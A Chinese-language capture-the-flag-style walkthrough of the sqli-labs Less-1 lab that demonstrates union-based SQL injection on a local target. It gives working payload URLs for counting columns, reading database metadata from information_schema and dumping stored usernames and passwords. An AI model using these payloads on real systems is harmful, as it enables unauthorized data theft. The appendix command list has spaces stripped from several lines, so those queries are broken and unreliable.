🧪 SQL注入入门:sqli-labs-master/Less-1靶场实战解析
嘿!看到你想学习渗透测试,这太棒了!SQL注入是渗透测试的基础技能之一,sqli-labs-master的Less-1就是个绝佳的入门靶场。我来给你详细讲解这个靶场的渗透过程和思路,帮你轻松入门!
🔍 靶场基本情况
Less-1是一个字符型SQL注入靶场,需要单引号闭合。页面要求我们输入id参数,通过SQL注入获取数据库信息。
🧪 渗透测试全过程(详细步骤)
1️⃣ 判断注入类型(基础判断)
输入:
http://localhost/sqli-labs-master/Less-1/?id=1- ✅ 页面正常显示(说明参数有效)
输入:
http://localhost/sqli-labs-master/Less-1/?id=1'- ❌ 报错:
You have an error in your SQL syntax...(单引号未闭合导致语法错误)
- ❌ 报错:
输入:
http://localhost/sqli-labs-master/Less-1/?id=1' --+- ✅ 页面正常显示(说明是字符型注入,可用
--+注释掉后面的单引号)
- ✅ 页面正常显示(说明是字符型注入,可用
💡判断技巧:字符型注入需要单引号闭合,数字型不需要。字符型注入用
',数字型用AND 1=1测试。
2️⃣ 确定字段数量(关键步骤)
输入:
http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+- ✅ 页面正常(说明至少有3列)
- ✅ 页面正常(说明至少有3列)
输入:
http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+- ❌ 报错:
Unknown column '4' in 'order clause'(说明只有3列)
- ❌ 报错:
💡为什么用order by?
order by可以用来探测字段数量,通过逐步增加数字直到报错确定实际列数。
3️⃣ 确定回显位置(关键位置)
- 输入:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+- ✅ 页面显示:
Your Login name:2 Your Password:3 - 🤔 结论:第2列显示username,第3列显示password
- ✅ 页面显示:
💡为什么用
-1?id=-1确保原查询无结果,这样联合查询的结果才会显示出来。如果用id=1,原查询有结果,联合查询的数据会被忽略。
4️⃣ 爆破数据库信息
数据库名:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+- ✅ 结果:
security(数据库名)
- ✅ 结果:
数据库版本:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),3 --+- ✅ 结果:
10.2.26-MariaDB-log(数据库版本)
- ✅ 结果:
当前用户:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,user(),3 --+- ✅ 结果:
root@localhost(当前数据库用户)
- ✅ 结果:
5️⃣ 爆破表名(从information_schema获取)
- 输入:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+- ✅ 结果:
emails,referers,uagents,users(数据库中的表名)
- ✅ 结果:
💡关键知识点:
information_schema是MySQL内置的系统数据库,包含所有元数据。
6️⃣ 爆破字段名(users表的字段)
- 输入:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+- ✅ 结果:
id,username,password(users表的字段名)
- ✅ 结果:
💡为什么用
group_concat?因为SQL查询默认返回多行,group_concat将结果聚合为一行显示。
7️⃣ 爆破数据(获取用户名和密码)
- 输入:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,'~',password),3 from users --+- ✅ 结果:
Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,...(所有用户名和密码)
- ✅ 结果:
💡 核心知识点总结
📌 SQL注入基础
- 字符型注入:需要单引号闭合(如
id=1') - 数字型注入:不需要单引号(如
id=1 AND 1=1) - 闭合技巧:
--+(MySQL中常用注释符,注释掉后面的单引号)
📌 SQL注入常用函数
| 函数 | 作用 | 示例 |
|---|---|---|
database() | 获取当前数据库名 | database() |
version() | 获取数据库版本 | version() |
user() | 获取当前数据库用户 | user() |
group_concat() | 聚合查询结果为一行 | group_concat(username, '~', password) |
SLEEP() | 使查询暂停 | 用于时间盲注 |
📌 MySQL系统数据库
information_schema:MySQL内置的系统数据库,包含所有元数据tables表:table_schema(数据库名)、table_name(表名)columns表:column_name(字段名)
📌 联合查询技巧
union select:将两个查询结果合并- 关键技巧:
id=-1确保原查询无结果,让联合查询结果显示 - 字段匹配:联合查询的列数必须与原查询匹配
💪 学习建议
- 先理解原理:不要只记命令,要理解为什么需要
order by、union select等 - 动手实践:在自己的环境中搭建sqli-labs靶场,亲自操作
- 逐步深入:Less-1是入门,Less-2是数字型注入,Less-3是报错注入,逐步挑战
- 安全第一:只在授权的靶场环境中练习,不要尝试攻击他人系统
🌟小提醒:SQL注入是基础技能,但实际渗透中还有更多类型(如盲注、时间盲注、宽字节注入等),建议先掌握Less-1,再挑战其他关卡。
📚 附:Less-1靶场完整SQL命令清单
-- 判断注入类型?id=1' --+ (字符型注入) -- 确定字段数 ?id=1'orderby3--+ (3列正常)?id=1' order by 4 --+ (4列报错) -- 确定回显位置 ?id=-1'unionselect1,2,3--+ (回显位置2、3)-- 爆库名?id=-1' union select 1,database(),3 --+ -- 爆表名 ?id=-1'unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema='security'--+-- 爆字段名?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ -- 爆数据 ?id=-1'unionselect1,group_concat(username,'~',password),3fromusers--+